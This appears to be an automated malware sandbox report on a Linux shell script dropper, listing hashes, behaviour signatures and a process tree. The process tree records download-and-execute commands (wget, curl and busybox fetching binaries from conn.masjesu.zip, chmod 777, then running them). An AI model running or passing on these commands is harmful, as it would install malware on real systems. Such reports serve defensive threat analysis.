Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25/10/2024, 01:24

General

  • Target

    38b6ef1cd1a94cd58395df3d4f0581f71e26cfebba88cb85d4b4c280f37ac764.sh

  • Size

    10KB

  • MD5

    04d0449c41da21e91fcff668642e400d

  • SHA1

    2a7724ac4a33aef57e864b4ab2ba41126ab9d3c0

  • SHA256

    38b6ef1cd1a94cd58395df3d4f0581f71e26cfebba88cb85d4b4c280f37ac764

  • SHA512

    5c0f07e89ce67dfddfc6e90649fe73b20d8f460fd230aa8a787e68c8bafa8ac1acd949b497d7a0b0b55512ce9910ea9ea43bec6f80131074b11222c8fdab2094

  • SSDEEP

    192:I5OQ49pUXvxwks6Pk+Y+k+j+2+e+Z7HTgG+HB6HTgGwNPk9pUXvfwks64+Y+k+j+:I5OQN6N+HB4wNPM

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/38b6ef1cd1a94cd58395df3d4f0581f71e26cfebba88cb85d4b4c280f37ac764.sh
    /tmp/38b6ef1cd1a94cd58395df3d4f0581f71e26cfebba88cb85d4b4c280f37ac764.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • System Network Configuration Discovery
          PID:1500
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1504
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • System Network Configuration Discovery
          PID:1506
        • /bin/chmod
          chmod 777 wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          ./wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
            PID:1512
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • System Network Configuration Discovery
            PID:1513
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • System Network Configuration Discovery
            PID:1514

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ

          Filesize

          153B

          MD5

          998368d7c95ea4293237f2320546e440

          SHA1

          30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

          SHA256

          533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

          SHA512

          648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97